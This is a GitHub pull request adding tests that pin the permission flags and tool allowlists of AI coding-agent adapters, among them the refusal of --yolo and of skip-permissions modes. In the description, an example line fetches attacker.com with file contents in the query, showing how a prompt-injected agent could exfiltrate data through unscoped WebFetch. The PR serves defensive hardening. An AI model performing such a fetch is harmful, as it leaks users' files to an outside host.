Skip to content

Test the agent adapters - #48

Merged
nrodd merged 1 commit into
tests/harness-and-cifrom
tests/agent-adapters
Sep 28, 2026
Merged

nrodd merged 1 commit into
tests/harness-and-cifrom
tests/agent-adapters

Conversation

@nrodd

@nrodd nrodd commented Sep 25, 2026 •

Copy link
Copy Markdown
Member

Chunk 6 of the test plan. src/agents/adapters.test.ts, 51 tests across claude-code, codex, gemini and apps. No source changes.

Based on #42 (the harness). GitHub will retarget this to main when that merges. Independent of #43–#47.

argv is the consent contract

The pre-handoff gate tells the user what the autonomous run auto-approves. These flags are what it actually approves, so they're asserted literally rather than assumed — a flag change that widens the agent's reach without touching the copy is exactly the drift worth catching.

Agent Pinned
Gemini --approval-mode auto_edit, never --yolo
Codex exec --full-auto
Claude Code --permission-mode acceptEdits, never --dangerously-skip-permissions

Plus: every terminal agent declares a non-empty autonomy string (it's the sentence the user consents to), and every app handoff declares none.

WebFetch scoping gets its own test

Unscoped, WebFetch is an exfiltration channel under prompt injection — fetch https://attacker.com/?data=<file contents>. The two-domain allowlist is what closes it, so the test asserts exactly those two entries are present and a bare WebFetch is not. The Bash allowlist is pinned to dependency installs alone.

Claude Code stream parsing

  • The double-print guard — the result event normally repeats the final assistant message, so the note only shows when it differs (an error_max_turns result, say). Easy to regress into printing every summary twice.
  • Marker extraction from both assistant text blocks and the result, including a block that was nothing but a marker printing nothing at all.
  • describeToolUse precedence — file_path > path > command (truncated at 80) > pattern > url > bare name.
  • Unparseable lines stay quiet unless --debug.

App handoffs

The parts that actually fail in the real world:

  • A bundle name is claimed only when the bundle exists, so a later open -a can't miss.
  • Claude Desktop (opensFolder: false) is never handed a directory — open -a Claude <path> isn't how it launches.
  • A clipboard failure prints the prompt inline and reports clipboardHoldsPrompt: false; a launch failure produces "couldn't launch … open it yourself"; both failing together still resolves rather than throws.

Verification

51 tests passing (104 on this branch: chunk 0 plus this one), typecheck clean. Mutation-checked the two that matter most — switching Gemini to --yolo and unscoping WebFetch — and confirmed exactly those tests fail, then reverted.


Note

Low Risk
Test-only addition; no runtime or security behavior changes, only regression guards for existing adapter argv and handoff logic.

Overview
Adds src/agents/adapters.test.ts (~51 Vitest cases) with no production code changes. The suite mocks terminal runs, PATH/bundle detection, clipboard, and UI output so adapter behavior can be asserted in isolation.

Autonomy / argv contract — Terminal agents (Gemini, Codex, Claude Code) must expose non-empty autonomy copy and launch with pinned flags (e.g. Gemini auto_edit without --yolo, Codex exec --full-auto, Claude acceptEdits on stdin, no skip-permissions). Claude’s --allowedTools is locked to scoped WebFetch on two Fullstory domains and Bash limited to package installs. App handoffs declare no autonomy.

Claude Code streaming — Covers JSON line parsing: user-visible text/actions, tool-use labeling and truncation, telemetry marker stripping, duplicate-result suppression, and debug-only stderr for garbage lines.

Detection & GUI handoffs — PATH/fallback detection for CLIs; apps only advertise macOS bundles when present; launch copies the prompt, opens the project (except folder-less Claude Desktop), and degrades gracefully on clipboard or open failures without throwing.

Reviewed by Cursor Bugbot for commit e6b08b1. Bugbot is set up for automated code reviews on this repo. Configure here.

Chunk 6. Adds src/agents/adapters.test.ts, 51 tests covering claude-code,
codex, gemini and apps. No source changes.

The centre of this one is argv. The pre-handoff gate tells the user what
the run auto-approves, and these flags are what it actually approves, so
they are asserted literally: Gemini gets --approval-mode auto_edit and
never --yolo, Codex gets exec --full-auto, Claude Code gets
--permission-mode acceptEdits and never --dangerously-skip-permissions.

Claude Code's WebFetch scope gets its own test. Unscoped it would be an
exfiltration channel under prompt injection — fetch attacker.com with
file contents in the query — and the two-domain allowlist is what closes
that. The bash allowlist is pinned to dependency installs alone.

Stream parsing covers the double-print guard (a result event that just
repeats the last assistant message is suppressed), marker extraction
from both assistant blocks and the result, the describeToolUse
precedence chain, and unparseable lines staying quiet unless --debug.

App handoffs cover the parts that fail in the real world: a bundle name
claimed only when the bundle exists, a folder-less app never handed a
directory, and clipboard or launch failures degrading to instructions
instead of throwing.
@nrodd
nrodd merged commit da27e90 into tests/harness-and-ci Sep 28, 2026
5 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant